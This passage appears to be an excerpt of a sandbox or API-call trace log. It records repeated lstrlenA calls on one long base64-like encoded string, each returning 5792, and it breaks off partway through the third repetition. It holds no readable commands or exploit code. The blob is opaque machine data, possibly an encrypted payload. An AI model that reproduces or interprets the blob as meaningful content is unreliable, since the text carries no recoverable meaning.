(lpString="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") returned 5792 [0128.366] lstrlenA (lpString="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") returned 5792 [0128.366] lstrlenA (lpString="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